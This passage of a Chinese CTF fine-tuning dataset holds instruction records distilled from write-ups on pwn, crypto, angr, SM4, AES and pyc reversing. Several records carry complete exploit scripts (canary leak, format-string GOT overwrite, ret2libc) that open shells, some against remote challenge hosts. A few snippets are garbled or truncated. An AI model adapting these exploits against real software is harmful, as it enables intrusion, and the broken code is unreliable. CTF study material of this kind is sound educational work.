"title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-50342717a4aeb07c08af", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Hash 类算法》的“2024极客大挑战 blastingmaster”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。", "role": "user"}, {"content": "出处：Hash 类算法 / 2024极客大挑战 blastingmaster（第 3 段）\n关键词：data3、data2、data1、input_str、range、SYC、cip、chr、md5_list、end\n蒸馏要点：\n- md5_list = lambda input_str: list(hashlib.md5(input_str.encode()).digest())\n- cip = [cipher[16 * i: 16 * (i + 1)] for i in range(40)]\n- data1 = 'S'  # 初始化 data1 为 'S'\n- data2 = 'Y'  # 初始化 data2 为 'Y'\n- data3 = 'C'  # 初始化 data3 为 'C'\n- print(\"SYC\", end='')  # 打印 \"SYC\"\n- for i in range(40):\n可用于训练的标准回答：\nmd5_list = lambda input_str: list(hashlib.md5(input_str.encode()).digest())\n\ncip = [cipher[16 * i: 16 * (i + 1)] for i in range(40)]\n\ndata1 = 'S'  # 初始化 data1 为 'S'\ndata2 = 'Y'  # 初始化 data2 为 'Y'\ndata3 = 'C'  # 初始化 data3 为 'C'\n\nprint(\"SYC\", end='')  # 打印 \"SYC\"\n\nfor i in range(40):\n    # x 从 32 到 127，表示所有字符的 ASCII 码\n    for x in range(32, 128):\n        input_str = data1 + data2 + data3 + chr(x)\n        md5_lis = md5_list(input_str)\n\n# 检查 cip[i][j] 是否符合解密条件\n        if all(cip[i][j] == ((md5_lis[j] ^ (j + 42)) * 7 + (j % 15) * 82) % 256 for j in range(16)):\n            # 如果所有字节都匹配，打印字符 x，并更新 data1, data2 和 data3\n            print(chr(x), end='')\n            data1 = data2\n            data2 = data3\n            data3 = chr(x)\n\nif data3 == '}':\n                exit(0)\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d3930da37ae164e1", "original_line": 652, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "2024极客大挑战 blastingmaster", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d3930da37ae164e1", "source_split": "train", "split": "train", "split_group_key": "8772c580941e6c0bda2d3154", "tags": ["crypto", "ctf-method"], "title": "Hash 类算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-508e699f8bf1131cdec0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[安洵杯 2021]stack”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [安洵杯 2021]stack\n关键词：base、p64、canary、elf、import、gift、pay、success、hex、sym\n蒸馏要点：\n- 通过格式化字符串泄露canary和基址\n- 再通过基址计算函数地址\n- 然后拼接canary拿到shell\n可用于训练的标准回答：\n### [安洵杯 2021]stack\n\n#ret2text #canary #pie #格式化字符串\n\n通过格式化字符串泄露canary和基址\n\n再通过基址计算函数地址\n\n然后拼接canary拿到shell\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\nfrom LibcSearcher import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\npay=\"%11$p-%17$p\"\nsl(pay)\n\ncanary=int(r(18),16)\nsuccess(hex(canary))\nru(b'-')\nbase=int(r(14),16)-elf.sym.main\nsuccess(hex(base))\n\nrdi=0x0000000000000b03+base\nret=0x00000000000007c1+base\nsh=0xb24+base\n\noff=0x18\nsys=elf.sym.system+base\n\npayload=b'a'*off+p64(canary)+p64(123)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsla(\"--+--\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b5b4d37a0c7a56dd", "original_line": 1075, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[安洵杯 2021]stack", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b5b4d37a0c7a56dd", "source_split": "train", "split": "train", "split_group_key": "318696491e08da35e9d7b486", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-51312ae44a4bd21a694b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“rctf2019shellcoder”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 输出一段数据后，由`mmap`分配一段可读可写可执行的内存。之后向这块内存读取数据，然后执行这块内存中的代码。\n2. 但是这里`read`只能读取 7 个字节的数据，无论是 getshell 还是 orw 都无法进行。\n3. 可以写通过一段短的汇编代码将 shellcode 重新写入。通过`mov dl,100`将`rdx`设置为一个较大的值，而此时`rdi`是分配的内存，将`rdi`交互到`rsi`中，而且此时`rax`的值仍然是 0。\n4. 所以执行 shellcode1 后寄存器的状态如下：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d963b6eed7ce2c0b", "original_line": 753, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "rctf2019shellcoder", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d963b6eed7ce2c0b", "source_split": "train", "split": "train", "split_group_key": "4d9b57a894062c64c4a0b468", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5170ea910724ceedd722", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“Explorer”？请用《Angr：Angr符号执行》中的内容回答。", "role": "user"}, {"content": "1. 可以使用 explorer 方法去执行某个状态，直到直到目标指令或者 active 中没有状态为止，它有如下参数：\n2. find：传入目标指令的地址或地址列表，或者一个用于判断的函数\n3. avoid：传入要避免的指令的地址或地址列表，或者一个用于判断的函数，用于减少路径\n4. angr 会沿着分支按照某种策略（默认DFS）进行状态搜索，当达到目标状态时，使用约束求解器（claripy）对收集到的约束进行求解。\n5. 因此，使用 angr 一般分为如下步骤：\n6. 创建 Project，预设 state", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d7d68305c28a43fd", "original_line": 1072, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "Explorer", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d7d68305c28a43fd", "source_split": "train", "split": "train", "split_group_key": "ea5fae5d3dd876b99c7405ea", "tags": ["reverse", "ctf-method"], "title": "Angr：Angr符号执行", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5281dbc487c6ace2b851", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《SM4 算法》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：SM4 算法\n领域标签：reverse, crypto, ctf-method\n知识结构：简介 -> 算法逻辑 -> 2024 MoeCTF sm4 -> 2024 网鼎杯 RE1\n关键术语：SM4、ctx、BLOCK_SIZE、EVP_CIPHER_CTX、len、OpenSSL、unsigned、SBOX、SSL、EVP_E、ciphertext、include、KEY_LENGTH、key、plaintext、ciphertext_len\n核心要点：\n- SM4 是由国家密码管理局在 2012 年发布的分组加密算法，SM4 是国产的分组密码算法，分组长度为 128 位（即16字节），密钥长度也为 128 位（即16字节）。其加解密过程采用了 32 轮迭代机制，每一轮需要一个轮密钥，这些特点与 AES 和 DES 类似。\n- SM4 分组长度为 4 字，因此输入是 4 字的明文，加密后得到的输出是 4 字的密文。\n- SM4 是中国国家密码算法之一，广泛用于加密和数据保护。下面是一个简单的 C 语言实现，展示了 SM4 的加密部分。为了完整性，我们会使用 OpenSSL 提供的工具库来实现 SM4 加密。若没有 OpenSSL 环境，可以自己实现或通过其他库进行加密操作。\n- SM4 加密实现\n- 首先，你需要安装 OpenSSL 开发库，以便能够使用其中的加密功能。如果你没有安装 OpenSSL，可以通过包管理工具来安装它。\n- 下面是使用 OpenSSL 库进行 SM4 加密的代码：\n- 确保你安装了 OpenSSL。\n- 使用 `EVP_sm4()` 来进行 SM4 加密。\n- 替换 S 盒为自定义表\n- 隐藏轮密钥生成逻辑", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::23b0c7b223096672", "original_line": 816, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "23b0c7b223096672", "source_split": "train", "split": "train", "split_group_key": "bf390cfe6a8b01f56609b95e", "tags": ["reverse", "crypto", "ctf-method"], "title": "SM4 算法", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-53ec1d8f7e21d123e1ad", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“\\[CISCN 2019华北\\]PWN1”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“\\[CISCN 2019华北\\]PWN1”。\n语言/类型：python\n关联知识点：\n- 1：存在栈溢出，有一个条件判断，正确则输出flag，通过栈溢出覆盖要判断的变量使判断正确\n- 2：直接返回到sytem函数地址\n代码片段：\n```python\n#1\nfrom pwn import *\nimport struct\nsh=remote(\"node4.anna.nssctf.cn\",28112)\n#构造浮点数\nf=11.28215\n#将f变量转为浮点数格式\nb=struct.pack('f',f)\n#将浮点数f变量转换为十六进制\njg=b.hex()\npayload=b'a'*44+p32(jg)\nsh.sendline(payload)\nsh.interactive()\n\n#2\nfrom pwn import *\n#io=process(\"./pwn\")\nio=remote(\"node4.anna.nssctf.cn\",28551)\nsystem=0x4006be\npayload=b'a'*56+p64(system)\nio.sendline(payload)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b8b5b25b689405db", "original_line": 918, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "\\[CISCN 2019华北\\]PWN1", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b8b5b25b689405db", "source_split": "train", "split": "train", "split_group_key": "a55a474197ba09df14cb46a6", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5402d21a46564c7cbc61", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《花指令：原理：反汇编算法的设计缺陷》中“实现”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“实现”。\n语言/类型：c\n关联知识点：\n- **msvc 编译器实现**\n- **gcc 编译器实现**\n代码片段：\n```c\n#include\nint main() {\n\t__asm {\n\t\tjmp s1;\n\t\t_emit 0xe9;\n\ts1:\n\t\tjmp s2;\n\ts2:\n\t\tjmp s3;\n\ts3:\n\t}\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::437e5ad09134744c", "original_line": 994, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "实现", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "437e5ad09134744c", "source_split": "train", "split": "train", "split_group_key": "246dd862a84e8c12ba6703d5", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-54957fb3cbd45080ec88", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《SM4 算法》中“2024 网鼎杯 RE1”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《SM4 算法》的“2024 网鼎杯 RE1”。\n语言/类型：java\n关联知识点：\n- 下载附件拿到一个`apk`文件，jadx 打开分析，通过 xml 文件定位到`MainActivity`。方法名很乱，应该是做了混淆。\n- 分析代码，找到按钮点击监听位置。\n- 跟进`b`分析，发现了输入校验逻辑。\n- 跟进分析`Check`，发现调用了 native 层的方法。\n- 解压 apk 文件，分析`so`文件。\n代码片段：\n```java\n((Button) this.f1519o.f930b).setOnClickListener(new b(this));  // 按钮点击监听\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::88d926a0e4cd0a8e", "original_line": 644, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "2024 网鼎杯 RE1", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "88d926a0e4cd0a8e", "source_split": "train", "split": "train", "split_group_key": "3fab2adfc176c335d8584c45", "tags": ["reverse", "crypto"], "title": "SM4 算法", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-554f1f6b2ad055259c3d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[第五空间2019 决赛\\]PWN5”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[第五空间2019 决赛\\]PWN5\n关键词：pwn、payload、p32、sendline、- exp2、context、elf、PWN5、import、process\n可用于训练的标准回答：\n### \\[第五空间2019 决赛\\]PWN5\n\n#格式化字符串\n\n- exp1\n\n```python\nfrom pwn import *\ncontext.os = 'linux'\ncontext.arch = 'i386'\n#context.log_level = 'debug'\nio = process('./pwn')\npayload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'\nio.sendline(payload)\nio.sendline(str(0x10101010))\nio.interactive()\n```\n\n- exp2\n\n```python\nfrom pwn import *\nio = process(\"./pwn\")\n#io = remote(\"node4.buuoj.cn\",25068)\nelf = ELF('./pwn')\natoi_got = elf.got['atoi']\nsystem_plt = elf.plt['system']\npayload=fmtstr_payload(10,{atoi_got:system_plt})\nio.sendline(payload)\nio.sendline(b'/bin/sh\\x00')\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::9236a93e414b6af6", "original_line": 975, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[第五空间2019 决赛\\]PWN5", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "9236a93e414b6af6", "source_split": "train", "split": "train", "split_group_key": "0b11f8dad3e57cde531eafcc", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-5578c093fe1506d87a7a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《AES》的“算法逻辑”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。", "role": "user"}, {"content": "出处：AES / 算法逻辑（第 3 段）\n关键词：s_box_inv\n蒸馏要点：\n- 状态矩阵中的元素按照下面的方式映射为一个新的字节：把该字节的高4位作为行值，低4位作为列值，取出S盒或者逆S盒中对应的行的元素作为输出。例如，加密时，输出的字节S1为0x12,则查S盒的第0x01行和0x02列，得到值0xc9,然后替换S1原有的0x12为0xc9。状态矩阵经字节代换后的图如下：\n- 逆字节代换也就是查逆 S 盒来变换，逆 S 盒如下：\n可用于训练的标准回答：\n状态矩阵中的元素按照下面的方式映射为一个新的字节：把该字节的高4位作为行值，低4位作为列值，取出S盒或者逆S盒中对应的行的元素作为输出。例如，加密时，输出的字节S1为0x12,则查S盒的第0x01行和0x02列，得到值0xc9,然后替换S1原有的0x12为0xc9。状态矩阵经字节代换后的图如下：\n\n2. 字节代换逆操作\n\n逆字节代换也就是查逆 S 盒来变换，逆 S 盒如下：\n\n```python\ns_box_inv = [\n\t[0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb],\n\t[0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb],\n\t[0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e],\n\t[0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25],\n\t[0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92],\n\t[0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84],\n\t[0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45,...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::64815d2fc939d897", "original_line": 674, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "算法逻辑", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "64815d2fc939d897", "source_split": "train", "split": "train", "split_group_key": "263d9d32a8a5510689ff900d", "tags": ["crypto"], "title": "AES", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-55fb789e5fbef2c4d572", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[HNCTF 2022 WEEK4]ezcanary”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [HNCTF 2022 WEEK4]ezcanary\n关键词：base、p64、libc、ELF、canary、gift、hex、HNCTF、WEEK4、bin\n蒸馏要点：\n- 通过第一次输入的格式化字符串漏洞泄露canary和libc函数地址。\n- 然后第二次进行ret2libc攻击\n可用于训练的标准回答：\n### [HNCTF 2022 WEEK4]ezcanary\n\n#格式化字符串 #泄露canary\n通过第一次输入的格式化字符串漏洞泄露canary和libc函数地址。\n然后第二次进行ret2libc攻击\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\nset_remote_libc('libc.so.6')\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\nrdi=0x0000000000401323\nret=0x000000000040101a\n\nsl(b\"%51$p.%53$p\")\n\nru(b'name:\\n')\ncanary=int(r(18),16)\nprint(\"canary\",hex(canary))\nru(b'.')\nbase=int(r(14),16)\nb=base- 0x7ffff7f99000\nbase=base-0x29d90\nprint(hex(base))\nprint(\"base\",hex(b))\n\nsh=base+next(libc.search(\"/bin/sh\\x00\"))\nsys=base+libc.sym.system\npayload=b'a'*264+p64(canary)+p64(1234)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsl(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f82bde6d316ef68e", "original_line": 847, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[HNCTF 2022 WEEK4]ezcanary", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f82bde6d316ef68e", "source_split": "train", "split": "train", "split_group_key": "6ff900f590adf4316acc5404", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-56239a83aebd478d70f9", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“条件判断”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / 条件判断\n关键词：LOAD_CONST、POP_JUMP_IF_FALSE、JUMP_FORWARD、LOAD_NAME、CALL_FUNCTION、POP_TOP、FALSE、对应 python 代码：、STORE_NAME、COMPARE_OP\n蒸馏要点：\n- 以下指令一般用于分支判断跳转：\n- `POP_JUMP_IF_FALSE`：表示条件结果为`FALSE`就跳转到目标偏移指令\n- `JUMP_FORWARD`：直接跳转到目标偏移指令\n- 对应 python 代码：\n可用于训练的标准回答：\n### 条件判断\n\n以下指令一般用于分支判断跳转：\n\n- `POP_JUMP_IF_FALSE`：表示条件结果为`FALSE`就跳转到目标偏移指令\n- `JUMP_FORWARD`：直接跳转到目标偏移指令\n\n例如：\n\n```\n1：\n0 LOAD_CONST   0 (0)\n2 STORE_NAME   0 (i)\n\n2：\n4 LOAD_NAME    0 (i)\n6 LOAD_CONST   1 (5)\n8 COMPARE_OP   0 ()\n28 POP_JUMP_IF_FALSE  40\n\n5：\n30 LOAD_NAME      1 (print)\n32 LOAD_CONST     3 ('i > 5')\n34 CALL_FUNCTION  1\n36 POP_TOP\n38 JUMP_FORWARD   8 (to 48)\n\n7：\n40 LOAD_NAME      1 (print)\n42 LOAD_CONST     4 ('i = 5')\n44 CALL_FUNCTION  1\n46 POP_TOP\n```\n\n对应 python 代码：\n\n```python\ni = 0\n\nif i 5:\n\tprint(\"i > 5\")\nelse:\n\tprint(\"i = 5\")\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::bbdf4fc4c290b40b", "original_line": 980, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "条件判断", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "bbdf4fc4c290b40b", "source_split": "train", "split": "train", "split_group_key": "ae3f0c84d94960be816185e1", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-56bef0dbd0bbafcc80d9", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“State状态”？请用《Angr：Angr符号执行》中的内容回答。", "role": "user"}, {"content": "1. Project 实际上只是将二进制文件加载进来了，要执行它，实际上是对 SimState 对象进行操作，它是程序的状态。\n2. 要创建状态，需要使用 Project 对象中的 factory，它还可以用于创建模拟管理器和基本块，如下：\n3. 预设状态有四种方式如下：\n4. | 预设状态方式       | 描述                                                     |\n5. | entry_state        | 初始化状态为程序运行到程序入口点处的状态                 |\n6. | blank_state(addr=) | 大多数数据都没有初始化，状态中下一条指令为 addr 处的指令 |", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::test::distilled_training_data::test::fa3f56c5299afe70", "original_line": 4, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "State状态", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "fa3f56c5299afe70", "source_split": "test", "split": "train", "split_group_key": "2c276148e7d563f77865f59c", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", 